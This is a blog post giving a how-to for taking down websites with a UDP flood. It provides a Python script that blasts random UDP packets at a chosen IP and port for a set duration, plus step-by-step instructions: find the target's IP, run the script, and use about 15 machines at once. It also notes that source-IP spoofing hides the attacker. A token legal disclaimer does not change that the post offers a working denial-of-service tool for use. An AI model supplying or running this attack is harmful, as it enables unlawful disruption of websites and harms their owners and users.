Disclaimer: Following this might lead you into trouble as it is unlawful to perform such actions. I would not recommend anyone trying for a long period as it might actually take down a website. You might end up behind the bars too. I take no responsibility if anything goes wrong. I’m just doing the knowledge transfer.

Theoretically, any website can be brought down. But it all depends on how you perform the action.

One should always remember that it is highly difficult to take down a website like Google, Inc. In other words, it is next to impossible without proper hardware support. It might take many hundreds of thousands of computers to bring it down.

A Python code snippet is also pasted in the bottom.

Note: The code is not written by me. I don’t exactly remember the website this posted to give the credits.

But to demonstrate how it works to take down a website, follow these steps.


import socket
import random
import time
sock = socket.socket(socket.AF_INET, socket.SOCK_DGRAM)
bytes = random._urandom(1024)
ip = raw_input('IP address: ')
port = input('Port number: ')
duration = input('Number of seconds to send packets: ')
timeout = time.time() + duration
sent = 0;
while True:
if time.time() > timeout:
break
else:
pass
sock.sendto(bytes,(ip,port))
sent = sent + 1
print "Sent %s packets to %s through port %s" %(sent,ip,port)

Read also  How to create a portable hacking device.
  1. Try looking for a IP address associated with the domain name using nslookup or ping.
  2. Run the code and paste the IP address when asked.
  3. Enter the port number to which the packets are to be sent.
  4. Enter the duration in seconds to send the packets to the website.
  5. A number of UDP packets are sent to the particular IP address for the given duration.

Technically, it might take many hours and at least 15 computers performing this action simultaneously to bring the website down assuming it does not have a great firewall.

Action behind code:

Here what basically happens is that, we trigger a so-called  UDP flood. A UDP flood attack can be initiated by sending a large number of UDP packets to random ports on a remote host. As a result, the distant host will:

  1. Check for the application listening at that port.
  2. See that no application listens at that port.
  3. Reply with an ICMP Destination Unreachable packet.

Thus, for a large number of UDP packets, the victimized system will be forced into sending many ICMP packets, eventually leading it to be unreachable by other clients. The attacker may also spoof the IP address of the UDP packets, ensuring that the excessive ICMP return packets do not reach him, effectively anonymizing the attacker’s location on the network.

Read also  Annotating Screenshots and Images on Android - (Alternative to Skitch)

P.S. Please don’t execute this for a long periods of time.

About the author

Ajith Srikumar

Editor, Graphic designer, Electronic music producer, Software geek, interested more in technologies connecting life, and writes about them.